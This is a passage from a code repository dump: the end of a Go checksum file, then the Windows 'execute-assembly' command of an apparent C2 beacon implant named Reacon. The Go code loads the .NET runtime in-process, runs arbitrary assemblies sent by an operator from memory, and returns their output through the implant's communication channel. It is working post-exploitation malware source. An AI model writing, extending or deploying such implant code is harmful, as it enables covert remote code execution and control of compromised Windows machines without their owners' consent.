28 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
29 | golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
30 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
31 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
32 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
33 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
34 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
35 | golang.org/x/time v0.10.0 h1:3usCWA8tQn0L8+hFJQNgzpWbd89begxN66o1Ojdn5L4=
36 | golang.org/x/time v0.10.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
37 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
38 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
39 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
40 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
41 |
--------------------------------------------------------------------------------
/Reacon_http/pkg/commands/execute-assembly_windows.go:
--------------------------------------------------------------------------------
1 | package commands
2 |
3 | import (
4 | "Reacon/pkg/communication"
5 | "crypto/sha256"
6 | "errors"
7 | "fmt"
8 | "github.com/Ne0nd0g/go-clr"
9 | "log"
10 | "strings"
11 | "sync"
12 | "time"
13 | )
14 |
15 | var (
16 | clrInstance *CLRInstance
17 | assemblies []*assembly
18 | )
19 |
20 | type assembly struct {
21 | methodInfo *clr.MethodInfo
22 | hash [32]byte
23 | }
24 |
25 | type CLRInstance struct {
26 | runtimeHost *clr.ICORRuntimeHost
27 | sync.Mutex
28 | }
29 |
30 | func init() {
31 | clrInstance = &CLRInstance{}
32 | assemblies = make([]*assembly, 0)
33 | }
34 |
35 | func (c *CLRInstance) GetRuntimeHost(runtime string, debug bool) *clr.ICORRuntimeHost {
36 | c.Lock()
37 | defer c.Unlock()
38 | if c.runtimeHost == nil {
39 | if debug {
40 | log.Printf("Initializing CLR runtime host")
41 | }
42 | c.runtimeHost, _ = clr.LoadCLR(runtime)
43 | err := clr.RedirectStdoutStderr()
44 | if err != nil {
45 | if debug {
46 | log.Printf("could not redirect stdout/stderr: %v\n", err)
47 | }
48 | }
49 | }
50 | return c.runtimeHost
51 | }
52 |
53 | func addAssembly(methodInfo *clr.MethodInfo, data []byte) {
54 | asmHash := sha256.Sum256(data)
55 | asm := &assembly{methodInfo: methodInfo, hash: asmHash}
56 | assemblies = append(assemblies, asm)
57 | }
58 |
59 | func getAssembly(data []byte) *assembly {
60 | asmHash := sha256.Sum256(data)
61 | for _, asm := range assemblies {
62 | if asm.hash == asmHash {
63 | return asm
64 | }
65 | }
66 | return nil
67 | }
68 |
69 | func LoadBin(data []byte, assemblyArgs []string, runtime string, debug bool) (string, error) {
70 | var (
71 | methodInfo *clr.MethodInfo
72 | err error
73 | )
74 |
75 | rtHost := clrInstance.GetRuntimeHost(runtime, debug)
76 | if rtHost == nil {
77 | time.Sleep(time.Second)
78 | rtHost = clrInstance.GetRuntimeHost(runtime, debug)
79 | if rtHost == nil {
80 | return "", errors.New("Could not load CLR runtime host")
81 | }
82 | }
83 |
84 | //time.Sleep(time.Millisecond * 500)
85 |
86 | if asm := getAssembly(data); asm != nil {
87 | methodInfo = asm.methodInfo
88 | } else {
89 | methodInfo, err = clr.LoadAssembly(rtHost, data)
90 | if err != nil {
91 | if debug {
92 | log.Printf("could not load assembly: %v\n", err)
93 | }
94 | return "", err
95 | }
96 | addAssembly(methodInfo, data)
97 | }
98 | if len(assemblyArgs) == 1 && assemblyArgs[0] == "" {
99 | // for methods like Main(String[] args), if we pass an empty string slice
100 | // the clr loader will not pass the argument and look for a method with
101 | // no arguments, which won't work
102 | assemblyArgs = []string{" "}
103 | }
104 | if debug {
105 | log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo)
106 | log.Printf("Calling assembly with args: %+v\n", assemblyArgs)
107 | }
108 | stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs)
109 | if debug {
110 | log.Printf("Got output: %s\n%s\n", stdout, stderr)
111 | }
112 | return fmt.Sprintf("%s\n%s", stdout, stderr), nil
113 | }
114 |
115 | func ExecuteAssembly(sh []byte, arguments string) ([]byte, error) {
116 |
117 | go func() {
118 | debug := true
119 | params := strings.Split(arguments, " ")
120 | stdout, err := LoadBin(sh, params, "v4.8", debug)
121 | if err != nil {
122 | fmt.Printf("[DEBUG] Returned STDOUT/STDERR: \n%s\n", stdout)
123 | communication.ErrorProcess(errors.New(stdout))
124 | communication.ErrorProcess(err)
125 | return
126 | }
127 | communication.DataProcess(0, []byte(stdout))
128 | }()
129 |
130 | return []byte("[*] Executing..."), nil
131 | }
132 |
--------------------------------------------------------------------------------